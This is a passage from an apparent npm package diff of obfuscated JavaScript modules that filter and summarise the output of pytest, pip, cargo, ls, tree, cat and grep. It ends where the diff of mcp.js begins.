_0x5358d4['slice'](0x0,0x8)){_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x69)+_0x11ded0);}_0x5358d4['length']>0x8&&_0x2b4a6d['push'](_0x540429(0x98)+(_0x5358d4['length']-0x8)+_0x540429(0x66));}_0x129c1f[_0x540429(0x77)]>_0x3788fb&&_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x97)+(_0x129c1f['length']-_0x3788fb)+_0x540429(0x79));}return _0x2b4a6d[_0x540429(0x6a)]('\x0a');}function filterPipInstall(_0x5bd50f){const _0x130ca8=a0_0x493b62,_0x3fc82a=_0x5bd50f[_0x130ca8(0x7b)]('\x0a'),_0x3e3815=[];for(const _0x37d625 of _0x3fc82a){const _0x3894f3=_0x37d625[_0x130ca8(0x71)]();_0x3894f3['startsWith'](_0x130ca8(0x78))&&_0x3e3815[_0x130ca8(0x7e)](_0x3894f3);}if(_0x3e3815['length']>0x0)return _0x3e3815[_0x130ca8(0x6a)]('\x0a');return _0x3fc82a[_0x130ca8(0x8e)](_0x5c5059=>{const _0x9f01e1=_0x130ca8,_0x3a500d=_0x5c5059[_0x9f01e1(0x71)]();return!_0x3a500d[_0x9f01e1(0x7d)]('Collecting')&&!_0x3a500d[_0x9f01e1(0x7d)](_0x9f01e1(0x74))&&!_0x3a500d['includes']('Using\x20cached')&&!_0x3a500d['startsWith'](_0x9f01e1(0x76));})[_0x130ca8(0x6a)]('\x0a')[_0x130ca8(0x71)]();}function a0_0x4a50(_0x57f3d9,_0x80870a){_0x57f3d9=_0x57f3d9-0x66;const _0x62401e=a0_0x6240();let _0x4a5019=_0x62401e[_0x57f3d9];return _0x4a5019;}function a0_0x6240(){const _0x3e47f6=['length','Successfully\x20installed','\x20more\x20failures\x20truncated','\x20skipped','split','\x20failed','startsWith','push','249028yaNVKN','===\x20FAILURES\x20===','passed','defineProperty','235480yMEssD','\x20xpassed\x20(warning!)','\x0aFailures:','3854001AYcWbL','___','filterPipInstall','108MqKVEi','__esModule','Pytest:\x20All\x20tests\x20passed','AssertionError:','===\x20short\x20test\x20summary\x20info\x20===','filter','.py:','failed','replace','slice','14zkbdFd','\x20xfailed','574842TgazNL','===','\x20\x20...\x20+','\x20\x20\x20\x20...\x20(','\x20lines\x20of\x20stacktrace\x20truncated)','E\x20\x20\x20','.\x20[FAIL]\x20','\x20\x20\x20\x20','join','match','\x20in\x20','Pytest:\x20','\x20passed','includes','13797405FhHzeX','trim','4221088LKIxxp','1636988JHbTzr','Downloading','===\x20ERRORS\x20===','Requirement\x20already\x20satisfied'];a0_0x6240=function(){return _0x3e47f6;};return a0_0x6240();}
1
+ 'use strict';const a0_0x3e447e=a0_0x12ac;(function(_0x47ad6a,_0x470bcc){const _0x1701fd=a0_0x12ac,_0xe2d08c=_0x47ad6a();while(!![]){try{const _0x2cedca=parseInt(_0x1701fd(0x1a9))/0x1+-parseInt(_0x1701fd(0x1b1))/0x2+-parseInt(_0x1701fd(0x1a1))/0x3+-parseInt(_0x1701fd(0x1ab))/0x4*(-parseInt(_0x1701fd(0x1a4))/0x5)+parseInt(_0x1701fd(0x19c))/0x6*(parseInt(_0x1701fd(0x19f))/0x7)+-parseInt(_0x1701fd(0x1a2))/0x8*(-parseInt(_0x1701fd(0x1a5))/0x9)+-parseInt(_0x1701fd(0x1a0))/0xa*(parseInt(_0x1701fd(0x1af))/0xb);if(_0x2cedca===_0x470bcc)break;else _0xe2d08c['push'](_0xe2d08c['shift']());}catch(_0x119702){_0xe2d08c['push'](_0xe2d08c['shift']());}}}(a0_0xefa2,0xd73a5));function a0_0xefa2(){const _0x148f5c=['Pytest:\x20All\x20tests\x20passed','Using\x20cached','Pytest:\x20','includes','Requirement\x20already\x20satisfied','__esModule','startsWith','length','passed','E\x20\x20\x20','===','___','join','AssertionError:','.py:','\x0aFailures:','===\x20short\x20test\x20summary\x20info\x20===','\x20lines\x20of\x20stacktrace\x20truncated)','Downloading','filterPipInstall','===\x20ERRORS\x20===','465714HOhTGW','split','\x20\x20\x20\x20...\x20(','21yKkqpw','1729230ztugqX','4882491RglVLb','8IHKXCq','\x20failed','3274090dLOdWS','11026143wHeCmT','match','trim','Successfully\x20installed','753238ZMaGnA','\x20in\x20','4eVdONS','\x20\x20\x20\x20','slice','failed','11qPQrNt','\x20more\x20failures\x20truncated','368094RWSoZY','\x20xfailed','defineProperty','\x20passed','push','\x20skipped','filter'];a0_0xefa2=function(){return _0x148f5c;};return a0_0xefa2();}function a0_0x12ac(_0x3eac70,_0x4392f1){const _0xefa2fb=a0_0xefa2();return a0_0x12ac=function(_0x12acbf,_0x211060){_0x12acbf=_0x12acbf-0x196;let _0x2407da=_0xefa2fb[_0x12acbf];return _0x2407da;},a0_0x12ac(_0x3eac70,_0x4392f1);}Object[a0_0x3e447e(0x1b3)](exports,a0_0x3e447e(0x1bd),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x3e447e(0x19a)]=filterPipInstall;function filterPytest(_0x1690a6){const _0x24842e=a0_0x3e447e,_0x3a2f0e=_0x1690a6[_0x24842e(0x19d)]('\x0a');let _0x21e00e=0x0,_0x96d86d=0x0,_0x1ca68d=0x0,_0x49dd2d=0x0,_0x1359fd=0x0;const _0x4bbbbb=[];let _0x4a8170=[],_0x4e49ab=![];for(const _0x4c51d6 of _0x3a2f0e){const _0x37db47=_0x4c51d6[_0x24842e(0x1a7)]();if(_0x37db47[_0x24842e(0x1be)]('===\x20FAILURES\x20===')||_0x37db47[_0x24842e(0x1be)](_0x24842e(0x19b))){_0x4e49ab=!![];continue;}else(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x197))||_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c2))&&_0x37db47[_0x24842e(0x1bb)]('passed'))&&(_0x4e49ab=![],_0x4a8170['length']>0x0&&(_0x4bbbbb['push'](_0x4a8170),_0x4a8170=[]));if(_0x4e49ab){if(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c3)))_0x4a8170['length']>0x0&&(_0x4bbbbb['push'](_0x4a8170),_0x4a8170=[]),_0x4a8170[_0x24842e(0x1b5)](_0x37db47);else _0x37db47['length']>0x0&&_0x4a8170[_0x24842e(0x1b5)](_0x4c51d6);continue;}if(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c2))&&_0x37db47[_0x24842e(0x1bb)](_0x24842e(0x1aa))){const _0x2602aa=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+passed/),_0x4945a5=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+failed/),_0x48f07f=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+skipped/),_0x5b0ca5=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+xfailed/),_0x1d58e7=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+xpassed/);if(_0x2602aa)_0x21e00e=parseInt(_0x2602aa[0x1]);if(_0x4945a5)_0x96d86d=parseInt(_0x4945a5[0x1]);if(_0x48f07f)_0x1ca68d=parseInt(_0x48f07f[0x1]);if(_0x5b0ca5)_0x49dd2d=parseInt(_0x5b0ca5[0x1]);if(_0x1d58e7)_0x1359fd=parseInt(_0x1d58e7[0x1]);}}_0x4a8170[_0x24842e(0x1bf)]>0x0&&_0x4bbbbb[_0x24842e(0x1b5)](_0x4a8170);if(_0x21e00e===0x0&&_0x96d86d===0x0&&_0x1ca68d===0x0&&_0x49dd2d===0x0&&_0x1359fd===0x0){if(_0x1690a6['includes'](_0x24842e(0x1c0))&&!_0x1690a6['includes'](_0x24842e(0x1ae)))return _0x24842e(0x1b8);return _0x1690a6;}if(_0x96d86d===0x0&&_0x21e00e>0x0&&_0x1ca68d===0x0&&_0x49dd2d===0x0&&_0x1359fd===0x0)return'Pytest:\x20'+_0x21e00e+_0x24842e(0x1b4);const _0x30703e=[];_0x30703e[_0x24842e(0x1b5)](_0x24842e(0x1ba)+_0x21e00e+'\x20passed');if(_0x96d86d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x96d86d+_0x24842e(0x1a3));if(_0x1ca68d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x1ca68d+_0x24842e(0x1b6));if(_0x49dd2d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x49dd2d+_0x24842e(0x1b2));if(_0x1359fd>0x0)_0x30703e[_0x24842e(0x1b5)](_0x1359fd+'\x20xpassed\x20(warning!)');const _0x460d59=[_0x30703e[_0x24842e(0x1c4)](',\x20')];if(_0x4bbbbb['length']>0x0){_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x196));const _0x3689dc=0x3,_0x331c57=_0x4bbbbb[_0x24842e(0x1ad)](0x0,_0x3689dc);for(let _0x4364c2=0x0;_0x4364c2<_0x331c57['length'];_0x4364c2++){const _0x2e38f6=_0x331c57[_0x4364c2],_0x38fd2d=_0x2e38f6[0x0]['replace'](/_/g,'')['trim']();_0x460d59[_0x24842e(0x1b5)]('\x20\x20'+(_0x4364c2+0x1)+'.\x20[FAIL]\x20'+_0x38fd2d);const _0x1eb65a=_0x2e38f6[_0x24842e(0x1ad)](0x1),_0x35d27e=_0x1eb65a[_0x24842e(0x1b7)](_0x128db8=>{const _0x137850=_0x24842e,_0x507412=_0x128db8[_0x137850(0x1a7)]();return _0x507412[_0x137850(0x1be)]('>')||_0x507412[_0x137850(0x1be)](_0x137850(0x1c1))||_0x507412['includes'](_0x137850(0x1c6))||_0x507412[_0x137850(0x1bb)](_0x137850(0x1c5));});for(const _0x1ff4cc of _0x35d27e[_0x24842e(0x1ad)](0x0,0x8)){_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x1ac)+_0x1ff4cc);}_0x35d27e[_0x24842e(0x1bf)]>0x8&&_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x19e)+(_0x35d27e['length']-0x8)+_0x24842e(0x198));}_0x4bbbbb[_0x24842e(0x1bf)]>_0x3689dc&&_0x460d59[_0x24842e(0x1b5)]('\x20\x20...\x20+'+(_0x4bbbbb[_0x24842e(0x1bf)]-_0x3689dc)+_0x24842e(0x1b0));}return _0x460d59[_0x24842e(0x1c4)]('\x0a');}function filterPipInstall(_0x2176d1){const _0x36daaf=a0_0x3e447e,_0xf7a6fa=_0x2176d1[_0x36daaf(0x19d)]('\x0a'),_0x13d7e0=[];for(const _0x2d3d73 of _0xf7a6fa){const _0x573fb8=_0x2d3d73[_0x36daaf(0x1a7)]();_0x573fb8[_0x36daaf(0x1be)](_0x36daaf(0x1a8))&&_0x13d7e0[_0x36daaf(0x1b5)](_0x573fb8);}if(_0x13d7e0['length']>0x0)return _0x13d7e0[_0x36daaf(0x1c4)]('\x0a');return _0xf7a6fa['filter'](_0x4247b7=>{const _0xc5ef1e=_0x36daaf,_0x1875f0=_0x4247b7['trim']();return!_0x1875f0[_0xc5ef1e(0x1be)]('Collecting')&&!_0x1875f0[_0xc5ef1e(0x1be)](_0xc5ef1e(0x199))&&!_0x1875f0['includes'](_0xc5ef1e(0x1b9))&&!_0x1875f0[_0xc5ef1e(0x1be)](_0xc5ef1e(0x1bc));})['join']('\x0a')[_0x36daaf(0x1a7)]();}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x5a6cea=a0_0x26ea;function a0_0x1f62(){const _0x490b8f=['2006jwBjvy','split','\x20crates\x20successfully','length','Cargo\x20test:\x20all\x20tests\x20passed','warning[','warning:','611199tDXXHT','\x0aWarnings:','\x0aFailures:','88SagDZz','test\x20result:\x20ok','trim','Cargo\x20test:\x20','\x20----','\x20\x20\x20\x20','assert','slice','right:','17855beVbyI','failures:','Compiling\x20','error:','filter','4212ZjxZjz','startsWith','Cargo:\x20','min','\x20warnings','30789SYjCVj','Cargo:\x20compiled\x20','error[','panicked','\x20ignored','7HFgeeH','push','3158286UKQxnX','endsWith','307sonPhk','10245410BAspFn','join','\x20passed,\x20','replace','test\x20result:','212mOxHUg','includes','defineProperty','\x20passed','match','5819118JeTBLy','\x20errors,\x20'];a0_0x1f62=function(){return _0x490b8f;};return a0_0x1f62();}(function(_0x549dba,_0x466133){const _0x41143e=a0_0x26ea,_0x527e62=_0x549dba();while(!![]){try{const _0x435eb3=-parseInt(_0x41143e(0xaf))/0x1*(parseInt(_0x41143e(0xbc))/0x2)+-parseInt(_0x41143e(0xad))/0x3+-parseInt(_0x41143e(0xb5))/0x4*(-parseInt(_0x41143e(0x9c))/0x5)+parseInt(_0x41143e(0xba))/0x6*(parseInt(_0x41143e(0xab))/0x7)+-parseInt(_0x41143e(0xc6))/0x8*(-parseInt(_0x41143e(0xc3))/0x9)+parseInt(_0x41143e(0xb0))/0xa+parseInt(_0x41143e(0xa6))/0xb*(-parseInt(_0x41143e(0xa1))/0xc);if(_0x435eb3===_0x466133)break;else _0x527e62['push'](_0x527e62['shift']());}catch(_0x7d8a04){_0x527e62['push'](_0x527e62['shift']());}}}(a0_0x1f62,0x8f71a));function a0_0x26ea(_0x361594,_0x538187){const _0x1f62d1=a0_0x1f62();return a0_0x26ea=function(_0x26eaff,_0x3cc953){_0x26eaff=_0x26eaff-0x99;let _0x129b22=_0x1f62d1[_0x26eaff];return _0x129b22;},a0_0x26ea(_0x361594,_0x538187);}Object[a0_0x5a6cea(0xb7)](exports,'__esModule',{'value':!![]}),exports['filterCargoTest']=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x58d8a4){const _0x1d8264=a0_0x5a6cea,_0x5c5f92=_0x58d8a4['split']('\x0a');let _0x576f16=0x0,_0x4476f5=0x0,_0x346e07=0x0,_0x3ad242=0x0;const _0x21e939=[];let _0x280292=![],_0x1d888b=[];for(const _0x12ef18 of _0x5c5f92){const _0x453657=_0x12ef18['trim'](),_0xe2f96e=_0x453657[_0x1d8264(0xb9)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0xe2f96e){_0x576f16+=parseInt(_0xe2f96e[0x2]),_0x4476f5+=parseInt(_0xe2f96e[0x3]),_0x346e07+=parseInt(_0xe2f96e[0x4]),_0x3ad242+=parseInt(_0xe2f96e[0x5]);continue;}if(_0x453657==='failures:'||_0x453657==='----\x20failures\x20----'){_0x280292=!![];continue;}if(_0x280292){if(_0x453657['startsWith']('----\x20')&&_0x453657[_0x1d8264(0xae)](_0x1d8264(0xca))){if(_0x1d888b['length']>0x0)_0x21e939['push'](_0x1d888b['join']('\x0a'));_0x1d888b=[_0x453657[_0x1d8264(0xb3)](/^-+\s*/,'')[_0x1d8264(0xb3)](/\s*-+$/,'')];}else{if(_0x453657===_0x1d8264(0x9d)||_0x453657[_0x1d8264(0xa2)](_0x1d8264(0xb4))){if(_0x1d888b[_0x1d8264(0xbf)]>0x0)_0x21e939[_0x1d8264(0xac)](_0x1d888b[_0x1d8264(0xb1)]('\x0a'));_0x1d888b=[],_0x280292=![];}else _0x453657['length']>0x0&&_0x1d888b[_0x1d8264(0xac)](_0x12ef18);}}}if(_0x1d888b[_0x1d8264(0xbf)]>0x0)_0x21e939['push'](_0x1d888b[_0x1d8264(0xb1)]('\x0a'));if(_0x576f16===0x0&&_0x4476f5===0x0&&_0x346e07===0x0){if(_0x58d8a4[_0x1d8264(0xb6)](_0x1d8264(0xc7)))return _0x1d8264(0xc0);return _0x58d8a4;}if(_0x4476f5===0x0){const _0x2469ea=[_0x1d8264(0xc9)+_0x576f16+_0x1d8264(0xb8)];if(_0x346e07>0x0)_0x2469ea[_0x1d8264(0xac)](_0x346e07+_0x1d8264(0xaa));return _0x2469ea[_0x1d8264(0xb1)](',\x20');}const _0x978745=[_0x1d8264(0xc9)+_0x576f16+_0x1d8264(0xb2)+_0x4476f5+'\x20failed,\x20'+_0x346e07+_0x1d8264(0xaa)];if(_0x21e939[_0x1d8264(0xbf)]>0x0){_0x978745[_0x1d8264(0xac)](_0x1d8264(0xc5));const _0x374835=0x3;for(let _0x446e18=0x0;_0x446e18<Math[_0x1d8264(0xa4)](_0x21e939['length'],_0x374835);_0x446e18++){const _0x38fb44=_0x21e939[_0x446e18][_0x1d8264(0xbd)]('\x0a');_0x978745[_0x1d8264(0xac)]('\x20\x20'+(_0x446e18+0x1)+'.\x20'+_0x38fb44[0x0]);const _0x5859ea=_0x38fb44[_0x1d8264(0x9a)](0x1),_0xfdc35e=_0x5859ea[_0x1d8264(0xa0)](_0x289a86=>_0x289a86[_0x1d8264(0xc8)]()['startsWith']('thread')||_0x289a86[_0x1d8264(0xb6)](_0x1d8264(0xa9))||_0x289a86[_0x1d8264(0xb6)](_0x1d8264(0x99))||_0x289a86['includes']('left:')||_0x289a86['includes'](_0x1d8264(0x9b)));for(const _0x63a795 of _0xfdc35e['slice'](0x0,0x5)){_0x978745['push'](_0x1d8264(0xcb)+_0x63a795[_0x1d8264(0xc8)]());}}_0x21e939[_0x1d8264(0xbf)]>_0x374835&&_0x978745[_0x1d8264(0xac)]('\x20\x20...\x20+'+(_0x21e939[_0x1d8264(0xbf)]-_0x374835)+'\x20more\x20failures');}return _0x978745['join']('\x0a');}function filterCargoBuild(_0x3e8f96){const _0xd2905f=a0_0x5a6cea,_0x2495a0=_0x3e8f96['split']('\x0a'),_0x4f1539=[],_0x58861d=[];let _0x4aa13f=0x0;for(const _0x1162b3 of _0x2495a0){const _0x31f6fb=_0x1162b3['trim']();if(_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0x9e)))_0x4aa13f++;else{if(_0x31f6fb['startsWith'](_0xd2905f(0xc1))||_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0xc2)))_0x4f1539[_0xd2905f(0xac)](_0x31f6fb);else{if(_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0xa8))||_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0x9f)))_0x58861d[_0xd2905f(0xac)](_0x31f6fb);}}}if(_0x58861d['length']===0x0&&_0x4f1539[_0xd2905f(0xbf)]===0x0)return _0x4aa13f>0x0?_0xd2905f(0xa7)+_0x4aa13f+_0xd2905f(0xbe):_0x3e8f96[_0xd2905f(0xc8)]();const _0x93c8ff=[];if(_0x58861d[_0xd2905f(0xbf)]>0x0){_0x93c8ff[_0xd2905f(0xac)](_0xd2905f(0xa3)+_0x58861d[_0xd2905f(0xbf)]+_0xd2905f(0xbb)+_0x4f1539[_0xd2905f(0xbf)]+_0xd2905f(0xa5)),_0x93c8ff['push']('\x0aErrors:');for(const _0xbb4ff6 of _0x58861d[_0xd2905f(0x9a)](0x0,0x5))_0x93c8ff['push']('\x20\x20'+_0xbb4ff6);if(_0x58861d[_0xd2905f(0xbf)]>0x5)_0x93c8ff[_0xd2905f(0xac)]('\x20\x20...\x20+'+(_0x58861d[_0xd2905f(0xbf)]-0x5)+'\x20more\x20errors');}else _0x93c8ff[_0xd2905f(0xac)]('Cargo:\x20compiled\x20'+_0x4aa13f+'\x20crates,\x20'+_0x4f1539[_0xd2905f(0xbf)]+_0xd2905f(0xa5));if(_0x4f1539['length']>0x0&&_0x4f1539['length']<=0x5){_0x93c8ff[_0xd2905f(0xac)](_0xd2905f(0xc4));for(const _0x80116 of _0x4f1539)_0x93c8ff['push']('\x20\x20'+_0x80116);}else _0x4f1539['length']>0x5&&_0x93c8ff[_0xd2905f(0xac)]('\x0a('+_0x4f1539['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x93c8ff[_0xd2905f(0xb1)]('\x0a');}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x390f7c=a0_0x6751;(function(_0x5e4128,_0x32bd1b){const _0x22e602=a0_0x6751,_0xa5b89a=_0x5e4128();while(!![]){try{const _0xecc01b=parseInt(_0x22e602(0xfb))/0x1+-parseInt(_0x22e602(0x111))/0x2+-parseInt(_0x22e602(0x107))/0x3+-parseInt(_0x22e602(0x10d))/0x4+-parseInt(_0x22e602(0x10f))/0x5+parseInt(_0x22e602(0x10c))/0x6*(parseInt(_0x22e602(0x100))/0x7)+-parseInt(_0x22e602(0xf7))/0x8*(-parseInt(_0x22e602(0xfd))/0x9);if(_0xecc01b===_0x32bd1b)break;else _0xa5b89a['push'](_0xa5b89a['shift']());}catch(_0x2641ac){_0xa5b89a['push'](_0xa5b89a['shift']());}}}(a0_0x1c3c,0x90b66));Object[a0_0x390f7c(0xef)](exports,a0_0x390f7c(0xf4),{'value':!![]}),exports[a0_0x390f7c(0x104)]=filterLs,exports[a0_0x390f7c(0x113)]=filterTree,exports[a0_0x390f7c(0xff)]=filterCat,exports['filterGrep']=filterGrep;function filterLs(_0x3c7bd1){const _0xc5ff24=a0_0x390f7c,_0x49d4d9=_0x3c7bd1['split']('\x0a')[_0xc5ff24(0xf0)](_0x3f9134=>_0x3f9134['trim']()[_0xc5ff24(0x108)]>0x0);if(_0x49d4d9[_0xc5ff24(0x108)]===0x0)return'Empty\x20directory';if(_0x49d4d9['length']<=0x1e)return _0x3c7bd1[_0xc5ff24(0xf5)]();const _0x86b3f9=[],_0xb33528=[];for(const _0x34f4d2 of _0x49d4d9){const _0x260041=_0x34f4d2[_0xc5ff24(0xf5)]();if(_0x260041[_0xc5ff24(0x10b)](_0xc5ff24(0x112))||_0x260041['startsWith']('d')&&_0x260041[_0xc5ff24(0x105)]('..'))continue;_0x260041[_0xc5ff24(0x101)]('/')||_0x260041[_0xc5ff24(0x10b)]('d')&&_0x260041['includes']('\x20')?_0x86b3f9[_0xc5ff24(0xee)](_0x260041):_0xb33528[_0xc5ff24(0xee)](_0x260041);}const _0x44a2b0=[];return _0x86b3f9[_0xc5ff24(0x108)]>0x0&&(_0x86b3f9[_0xc5ff24(0x108)]<=0xf?_0x44a2b0[_0xc5ff24(0xee)](..._0x86b3f9):(_0x44a2b0[_0xc5ff24(0xee)](..._0x86b3f9[_0xc5ff24(0xf8)](0x0,0xa)),_0x44a2b0[_0xc5ff24(0xee)]('...\x20+'+(_0x86b3f9[_0xc5ff24(0x108)]-0xa)+_0xc5ff24(0xfa)))),_0xb33528[_0xc5ff24(0x108)]>0x0&&(_0xb33528[_0xc5ff24(0x108)]<=0x14?_0x44a2b0[_0xc5ff24(0xee)](..._0xb33528):(_0x44a2b0[_0xc5ff24(0xee)](..._0xb33528[_0xc5ff24(0xf8)](0x0,0xf)),_0x44a2b0[_0xc5ff24(0xee)](_0xc5ff24(0xfe)+(_0xb33528[_0xc5ff24(0x108)]-0xf)+'\x20more\x20files'))),_0x44a2b0[_0xc5ff24(0xee)]('\x0a('+_0x86b3f9[_0xc5ff24(0x108)]+_0xc5ff24(0xf3)+_0xb33528[_0xc5ff24(0x108)]+_0xc5ff24(0xf1)),_0x44a2b0[_0xc5ff24(0x106)]('\x0a');}function filterTree(_0x31658e){const _0x54f222=a0_0x390f7c,_0x57f6c4=_0x31658e[_0x54f222(0x10a)]('\x0a');if(_0x57f6c4[_0x54f222(0x108)]<=0x32)return _0x31658e[_0x54f222(0xf5)]();const _0x9945ce=[];let _0x20573d=0x0,_0x5857cd=0x0,_0x285637=0x0;for(const _0x5a831d of _0x57f6c4){const _0xfc5bff=_0x5a831d['match'](/(\d+)\s+director/),_0x34013f=_0x5a831d[_0x54f222(0x103)](/(\d+)\s+file/);if(_0xfc5bff)_0x285637=parseInt(_0xfc5bff[0x1]);if(_0x34013f)_0x5857cd=parseInt(_0x34013f[0x1]);const _0x43bc0e=(_0x5a831d['match'](/^[│├└\s─]+/)||[''])[0x0][_0x54f222(0x108)];_0x43bc0e<=0x4&&(_0x9945ce[_0x54f222(0xee)](_0x5a831d),_0x20573d++);}return _0x57f6c4[_0x54f222(0x108)]>_0x9945ce[_0x54f222(0x108)]&&_0x9945ce[_0x54f222(0xee)](_0x54f222(0x109)+_0x285637+'\x20directories,\x20'+_0x5857cd+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x9945ce[_0x54f222(0x106)]('\x0a');}function a0_0x6751(_0x31ff75,_0x287eeb){const _0x1c3ca1=a0_0x1c3c();return a0_0x6751=function(_0x6751c1,_0x1f63ea){_0x6751c1=_0x6751c1-0xec;let _0x545383=_0x1c3ca1[_0x6751c1];return _0x545383;},a0_0x6751(_0x31ff75,_0x287eeb);}function a0_0x1c3c(){const _0x500163=['total\x20','filterTree','keys','\x20matches\x20in\x20this\x20file)','substring','push','defineProperty','filter','\x20files)','indexOf','\x20directories,\x20','__esModule','trim',':\x20...\x20(','3592OqyNbn','slice','No\x20matches\x20found','\x20more\x20directories','308252UsvFbw','\x20matches\x20across\x20','30807EEcUFT','...\x20+','filterCat','209279dVbEpJ','endsWith','\x0a...\x20[','match','filterLs','includes','join','1057839GKxVJQ','length','\x0a...\x20(','split','startsWith','78LpWjIm','555192VSCRnQ','\x20lines\x20truncated]\x20...\x0a','4442835wsteLh','\x20more\x20files\x20with\x20matches','522240iNVhUC'];a0_0x1c3c=function(){return _0x500163;};return a0_0x1c3c();}function filterCat(_0x212ae7){const _0x3685ad=a0_0x390f7c,_0x26bb2b=_0x212ae7[_0x3685ad(0x10a)]('\x0a');if(_0x26bb2b[_0x3685ad(0x108)]<=0x64)return _0x212ae7;const _0x5959dd=[];return _0x5959dd[_0x3685ad(0xee)](..._0x26bb2b[_0x3685ad(0xf8)](0x0,0x32)),_0x5959dd[_0x3685ad(0xee)](_0x3685ad(0x102)+(_0x26bb2b[_0x3685ad(0x108)]-0x50)+_0x3685ad(0x10e)),_0x5959dd[_0x3685ad(0xee)](..._0x26bb2b[_0x3685ad(0xf8)](-0x1e)),_0x5959dd[_0x3685ad(0xee)]('\x0a('+_0x26bb2b[_0x3685ad(0x108)]+'\x20lines\x20total)'),_0x5959dd[_0x3685ad(0x106)]('\x0a');}function filterGrep(_0x2fc636){const _0x43e5aa=a0_0x390f7c,_0x14cddb=_0x2fc636['split']('\x0a')[_0x43e5aa(0xf0)](_0x34de8a=>_0x34de8a['trim']()[_0x43e5aa(0x108)]>0x0);if(_0x14cddb[_0x43e5aa(0x108)]===0x0)return _0x43e5aa(0xf9);if(_0x14cddb[_0x43e5aa(0x108)]<=0x32)return _0x2fc636[_0x43e5aa(0xf5)]();const _0x26b027={},_0x12bdb8=[];for(const _0x1f3090 of _0x14cddb){const _0x58a3a3=_0x1f3090[_0x43e5aa(0xf2)](':');if(_0x58a3a3>0x0&&_0x58a3a3<0xc8){const _0x2b8a5f=_0x1f3090[_0x43e5aa(0xed)](0x0,_0x58a3a3);if(_0x2b8a5f[_0x43e5aa(0x105)]('/')||_0x2b8a5f[_0x43e5aa(0x105)]('\x5c')||_0x2b8a5f[_0x43e5aa(0x105)]('.')){if(!_0x26b027[_0x2b8a5f])_0x26b027[_0x2b8a5f]=[];_0x26b027[_0x2b8a5f][_0x43e5aa(0xee)](_0x1f3090[_0x43e5aa(0xed)](_0x58a3a3+0x1)[_0x43e5aa(0xf5)]());continue;}}_0x12bdb8[_0x43e5aa(0xee)](_0x1f3090);}const _0x2fa5e2=[],_0x292152=Object[_0x43e5aa(0x114)](_0x26b027);if(_0x292152['length']>0x0){const _0x40f4f8=0x14,_0x2f865a=_0x292152[_0x43e5aa(0xf8)](0x0,_0x40f4f8);for(const _0x24a1b9 of _0x2f865a){const _0x3d4124=_0x26b027[_0x24a1b9];if(_0x3d4124['length']<=0x3)for(const _0x5e7570 of _0x3d4124){_0x2fa5e2['push'](_0x24a1b9+':\x20'+_0x5e7570);}else _0x2fa5e2['push'](_0x24a1b9+':\x20'+_0x3d4124[0x0]),_0x2fa5e2[_0x43e5aa(0xee)](_0x24a1b9+_0x43e5aa(0xf6)+_0x3d4124['length']+_0x43e5aa(0xec));}_0x292152[_0x43e5aa(0x108)]>_0x40f4f8&&_0x2fa5e2['push'](_0x43e5aa(0xfe)+(_0x292152[_0x43e5aa(0x108)]-_0x40f4f8)+_0x43e5aa(0x110));}if(_0x12bdb8[_0x43e5aa(0x108)]>0x0){const _0x3d9984=0x1e;_0x2fa5e2[_0x43e5aa(0xee)](..._0x12bdb8[_0x43e5aa(0xf8)](0x0,_0x3d9984)),_0x12bdb8[_0x43e5aa(0x108)]>_0x3d9984&&_0x2fa5e2[_0x43e5aa(0xee)](_0x43e5aa(0xfe)+(_0x12bdb8['length']-_0x3d9984)+'\x20more\x20matches');}const _0xc72035=_0x14cddb[_0x43e5aa(0x108)];return _0x2fa5e2[_0x43e5aa(0xee)]('\x0a('+_0xc72035+_0x43e5aa(0xfc)+(_0x292152[_0x43e5aa(0x108)]||'?')+_0x43e5aa(0xf1)),_0x2fa5e2['join']('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x54c50b=a0_0x235b;(function(_0x2dc762,_0x6dcf5b){const _0x3c3f14=a0_0x235b,_0x4c70d4=_0x2dc762();while(!![]){try{const _0x224bf4=parseInt(_0x3c3f14(0x15a))/0x1+-parseInt(_0x3c3f14(0x154))/0x2*(-parseInt(_0x3c3f14(0x13d))/0x3)+parseInt(_0x3c3f14(0x12b))/0x4*(parseInt(_0x3c3f14(0x131))/0x5)+parseInt(_0x3c3f14(0x13a))/0x6+parseInt(_0x3c3f14(0x13f))/0x7+parseInt(_0x3c3f14(0x138))/0x8*(parseInt(_0x3c3f14(0x12f))/0x9)+-parseInt(_0x3c3f14(0x134))/0xa;if(_0x224bf4===_0x6dcf5b)break;else _0x4c70d4['push'](_0x4c70d4['shift']());}catch(_0x2c449d){_0x4c70d4['push'](_0x4c70d4['shift']());}}}(a0_0x42ca,0x3faeb));function a0_0x235b(_0x9db76a,_0x3c30ad){_0x9db76a=_0x9db76a-0x12b;const _0x42caca=a0_0x42ca();let _0x235b4b=_0x42caca[_0x9db76a];return _0x235b4b;}var 